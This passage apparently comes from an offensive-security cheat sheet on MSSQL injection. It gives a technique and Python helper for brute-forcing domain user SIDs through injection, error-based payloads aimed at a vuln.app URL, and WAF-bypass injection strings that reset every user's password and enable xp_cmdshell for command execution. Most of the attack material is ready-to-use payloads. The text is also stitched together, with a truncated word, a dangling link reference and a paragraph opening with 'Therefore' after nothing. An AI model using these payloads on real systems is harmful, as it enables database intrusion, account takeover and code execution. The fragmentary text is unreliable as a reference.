MSSQL Injection

Active Directory enumeration

It may be possible to enumerate domain users via SQL injection inside an MSSQL server using the following MSSQL functions:

  • SELECT DEFAULT_DOMAIN(): Get the current domain name.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): If you know the name of the domain (DOMAIN in this example) this function will return the SID of the user Administrator in hex format. This will look like, note how the last 4 bytes are the number 500 in big-endian format, which is the common ID of the user administrator. This function will allow you to know the ID of the domain (all the bytes except of the last 4).

  • SUSER_SNAME(0x01050000000[...]0000e803) : This function will return the username of the ID indicated (if any), in this case, 0000e803 in big-endian == 1000 (usually this is the ID of the first regular user ID created). Then you can imagine that you can brute-force user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example, using a function like the following one:

def get_sid(n):
	domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
	user = struct.pack('<I', int(n))
	user = user.hex()
	return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Alternative Error-Based vectors

ome examples of such functions:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Example use of function USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

xp_cmdshell

Obviously you could also use xp_cmdshell to execute something that triggers a SSRF. For more info read the relevant section in the page:

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

Copy

# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

Last updated